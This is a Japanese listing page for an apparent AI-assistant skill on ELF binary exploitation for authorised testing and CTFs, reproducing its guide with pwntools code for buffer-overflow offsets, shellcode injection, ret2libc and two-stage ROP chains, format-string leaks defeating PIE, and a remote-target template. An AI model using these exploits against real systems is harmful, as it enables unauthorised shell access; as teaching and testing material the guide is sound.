performing-binary-exploitation-analysis について
許可を得たセキュリティテストや CTF 向けに、ELF バイナリを分析するスキルです。checksec、ROPgadget、pwntools を用いて、緩和策の確認からバッファオーバーフロー分析、ROP 開発までを扱います。
主な機能
- 01ELF のセキュリティ緩和策を確認
- 02バッファオーバーフローのオフセット特定
- 03シェルコードと ROP ペイロードの作成
- 04GDB によるエクスプロイトのデバッグ
- 05PIE と ASLR への対応を検証
活用シーン
- 01ペンテストでバイナリ保護を評価
- 02バイナリエクスプロイトの CTF に挑戦
- 03報告で脆弱性の影響を実証
- 04バッファオーバーフロー修正を検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-binary-exploitation-analysisインストール後、Claude Code で/performing-binary-exploitation-analysisを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
バイナリ悪用の分析
許可されたセキュリティテストおよび CTF チャレンジでのみ使用してください。
checksec、ROPgadget、pwntools を使用して ELF バイナリを分析し、バッファーオーバーフローや ROP チェーンの作成に役立つ悪用可能な箇所を特定します。
使用する場面
- 許可されたペネトレーションテストで ELF バイナリを分析し、メモリ破壊の脆弱性を特定する
- CTF 競技会でバイナリ悪用のチャレンジを解く
- 対象バイナリにおけるコンパイラーの緩和策(NX、ASLR、スタックカナリア、PIE、RELRO)の有効性を評価する
- 脆弱性レポートで影響を実証するための概念実証エクスプロイトを作成する
- 防御意識を高めるため、セキュリティエンジニアにエクスプロイト開発技術をトレーニングする
- バッファーオーバーフローの脆弱性に対するセキュリティパッチが有効であることを検証する
明示的な書面による許可なしにシステムに対して使用しないでください。バイナリ悪用の技術はシステムの不安定化を引き起こす可能性があるため、管理された環境(ラボ VM、CTF プラットフォーム、範囲を定めた許可済みのペネトレーションテスト)でのみ適用してください。
前提条件
- エクスプロイト開発用の Linux システム(Ubuntu/Debian を推奨)
pwntoolsを含む Python 3.8 以降(pip install pwntools)- デバッグ機能を強化する
pwndbgまたはGEFプラグインを備えた GDB - ROP チェーンのガジェット検出用の
ROPgadget(pip install ROPgadget) checksec(pwntools に同梱、または単体版をapt install checksecでインストール)- テスト用にコンパイルされた脆弱な対象バイナリ(例:pwnable.kr、ROP Emporium、またはカスタムテスト用バイナリのもの)
- x86/x86_64 の呼び出し規約とスタックレイアウトに関する基本的な知識
ワークフロー
ステップ 1:エクスプロイトツールキットをインストールする
# Install pwntools and dependencies
pip install pwntools ROPgadget
# Install GDB with pwndbg plugin
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# Alternatively, install GEF (GDB Enhanced Features)
# bash -c "$(curl -fsSL https://gef.blah.cat/sh)"
# Install supporting tools
sudo apt install -y gdb nasm gcc-multilib libc6-dbg
# Verify installation
python3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version
ステップ 2:checksec でバイナリの保護機能を分析する
エクスプロイトを作成する前に、バイナリに組み込まれているセキュリティ緩和策をすべて列挙します。
from pwn import *
# Load the target binary
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
# checksec output explains what mitigations are in place
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()
# Key security properties
# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
# Stack Canary: Detects stack buffer overflows via random canary value
# NX (No-eXecute): Prevents executing code on the stack (DEP)
# PIE: Position Independent Executable, randomizes base address
# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)
# Also available via command line:
# checksec --file=./vulnerable_server
# Command-line checksec output example:
checksec --file=./vulnerable_server
# RELRO STACK CANARY NX PIE
# Partial RELRO No canary found NX disabled No PIE
# Check ASLR status on the system
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full randomization
ステップ 3:バッファーオーバーフローのオフセットを見つける
リターンアドレスを上書きするのに必要なバイト数を正確に特定します。
from pwn import *
context.binary = ELF("./vulnerable_server")
context.log_level = "info"
# Method 1: Use cyclic pattern to find exact offset
# Generate a unique cyclic pattern
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")
# Send the pattern to the binary
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()
# After the crash, read the value in RIP/EIP from core dump or GDB
# Then find the offset:
# For 64-bit: crashed_value = p.corefile.fault_addr
# Or manually from GDB: "info registers rip" after crash
crashed_rip = 0x6161616c # Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")
# Method 2: Use GDB with pwndbg to find offset interactively
# In GDB:
# pwndbg> cyclic 200
# pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
# pwndbg> cyclic -l $rsp (or cyclic -l <value in RIP>)
ステップ 4:スタックバッファーオーバーフローを悪用する(NX 無効)
NX が無効の場合は、シェルコードをスタックに直接注入して実行します。
from pwn import *
# Configuration
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64" # or "i386" for 32-bit
OFFSET = 72 # Determined in Step 3
# Generate shellcode
# execve("/bin/sh", NULL, NULL) - spawn a shell
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")
# Build the exploit payload
# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
nop_sled = asm("nop") * 32
# For a local exploit without ASLR, we can estimate the buffer address
# Run in GDB first to find the buffer address:
# break *main+XX (after read/gets call)
# x/20x $rsp
buffer_addr = 0x7fffffffe000 # Example - get from GDB
padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
# Launch exploit
p = process(binary_path)
p.sendline(payload)
p.interactive() # Interact with the spawned shell
ステップ 5:ROP チェーンを作成する(NX 有効)
NX によってスタック上のコード実行が防止される場合は、既存のコードガジェットを連結します(Return-Oriented Programming)。
# Find ROP gadgets in the binary
ROPgadget --binary ./vulnerable_server
# Find specific gadgets
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"
# Search for gadgets to control registers for syscall
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"
# Find gadgets in libc (for ret2libc attacks)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72
# Method 1: ret2libc - call system("/bin/sh") via libc
# When the binary is dynamically linked and we know libc version
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# Start process to leak libc address
p = process(binary_path)
# If there is a format string or info leak, use it to find libc base
# Example: binary prints puts@GOT address
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
# Find a "pop rdi; ret" gadget for x86_64 calling convention
# First argument goes in RDI register
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
ret_gadget = elf.search(asm("ret")).__next__() # Stack alignment
# Build the ROP chain: system("/bin/sh")
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]
rop_chain = flat(
b"A" * OFFSET, # Padding to reach return address
ret_gadget, # Stack alignment (needed for movaps in system)
pop_rdi, # pop rdi; ret - load /bin/sh address into RDI
bin_sh_addr, # Address of "/bin/sh" string in libc
system_addr, # Call system()
)
p.sendline(rop_chain)
p.interactive()
ステップ 6:pwntools の ROP ヘルパーでチェーンの作成を自動化する
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72
# pwntools automatic ROP chain builder
rop = ROP(elf)
# If the binary has enough gadgets, pwntools can build chains automatically
# For execve("/bin/sh", 0, 0) syscall:
rop.call("puts", [elf.got["puts"]]) # Leak GOT entry
rop.call(elf.symbols["main"]) # Return to main for second stage
# Print the ROP chain for debugging
print(rop.dump())
# Build first-stage payload (leak libc)
stage1 = flat(
b"A" * OFFSET,
rop.chain()
)
p = process(binary_path)
p.sendline(stage1)
# Parse the leaked puts address
p.recvuntil(b"\n") # Skip program output
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
# Calculate libc base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
# Build second-stage ROP chain using libc gadgets
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
stage2 = flat(
b"A" * OFFSET,
rop2.chain()
)
p.sendline(stage2)
p.interactive()
ステップ 7:GDB と pwndbg でエクスプロイトをデバッグする
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"] # or ["gnome-terminal", "--"]
# Launch binary under GDB with pwndbg
p = gdb.debug(binary_path, """
# Set breakpoints at key locations
break *main
break *main+85
# Continue to the vulnerable function
continue
""")
# GDB commands useful during exploit development:
# pwndbg> vmmap - Show memory mappings (find stack, heap, libc)
# pwndbg> checksec - Show binary protections
# pwndbg> search -s "/bin/sh" - Find string in memory
# pwndbg> rop --grep "pop rdi" - Search for gadgets
# pwndbg> cyclic 200 - Generate cyclic pattern
# pwndbg> cyclic -l 0x616161 - Find offset from pattern value
# pwndbg> telescope $rsp 20 - Show stack contents
# pwndbg> x/20gx $rsp - Examine stack as 64-bit values
# pwndbg> heap - Analyze heap state
# pwndbg> got - Show GOT entries and resolved addresses
# pwndbg> plt - Show PLT entries
OFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
ステップ 8:情報漏えいを利用して PIE と ASLR に対処する
from pwn import *
binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf
# When PIE is enabled, we need to leak a code address to defeat randomization
# Common leak techniques:
# 1. Format string vulnerability: %p to leak stack/code pointers
# 2. Partial overwrite: overwrite only lower bytes of a pointer
# 3. Uninitialized memory: read stack memory containing code pointers
p = process(binary_path)
# Example: Using a format string leak to defeat PIE
# If the binary has a printf(user_input) vulnerability:
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")
# Parse leaked addresses to find a code pointer
for i, addr in enumerate(leaked_addrs):
try:
val = int(addr, 16)
# PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
if 0x550000000000 <= val <= 0x560000000000:
log.info(f"Offset {i}: {addr} (likely PIE code address)")
# libc addresses typically at 0x7fXXXXXXXXXX
elif 0x7f0000000000 <= val <= 0x800000000000:
log.info(f"Offset {i}: {addr} (likely libc address)")
except ValueError:
continue
# Once we have a leaked PIE address, calculate the binary base
leaked_code_addr = int(leaked_addrs[5], 16) # Example offset
elf.address = leaked_code_addr - elf.symbols["main"] # Adjust for known offset
log.success(f"PIE base: {hex(elf.address)}")
# Now we can use absolute addresses in our ROP chain
rop = ROP(elf)
# ... build chain using elf.symbols which are now correctly rebased
ステップ 9:リモートの対象を悪用する
from pwn import *
# Configuration
REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
def exploit(target):
"""Run the full exploit chain against a target (local or remote)."""
OFFSET = 72
# Stage 1: Leak libc
rop1 = ROP(elf)
rop1.call("puts", [elf.got["puts"]])
rop1.call(elf.symbols["main"])
payload1 = flat(b"A" * OFFSET, rop1.chain())
target.sendlineafter(b"Input: ", payload1)
leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")
# Stage 2: ret2libc
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols["puts"]
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
payload2 = flat(b"A" * OFFSET, rop2.chain())
target.sendlineafter(b"Input: ", payload2)
target.interactive()
# Test locally first
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)
# Then run against remote target
# log.info("Running exploit against remote target...")
# remote = remote(REMOTE_HOST, REMOTE_PORT)
# exploit(remote)
検証
checksecがすべてのバイナリ緩和策(NX、カナリア、PIE、RELRO)を正しく識別し、その結果が手動での確認内容と一致することを確認するret命令にブレークポイントを設定し、RIP/EIP に予期した循環値が含まれることを確認して、循環パターンによるオフセット検出ツールが正しいオフセットを出力することを検証する- NX を無効にした管理環境でシェルコードのペイロードが正しく実行されることをテストする
- GDB でガジェットを 1 命令ずつ実行し、最後のシステムコール/関数呼び出しの前にレジスター値が正しく設定されることを確認して、ROP チェーンを検証する
- 正しい libc バージョンを使用した場合に、エクスプロイトがローカル(
process())でもリモートの対象(remote())でも動作することを確認する - GDB の
vmmap出力と計算したアドレスを照合し、PIE の回避によってすべてのアドレスが正しく再配置されることを検証する - 緩和策を再度有効にした場合、エクスプロイトが安全に失敗することをテストする(エクスプロイトが適切な弱点を狙っていることの確認)
ROPgadgetの出力に重複排除フィルターを適用し、参照されているすべてのガジェットが対象バイナリ内の指定されたオフセットに存在することを確認する
コメント
Markdown 対応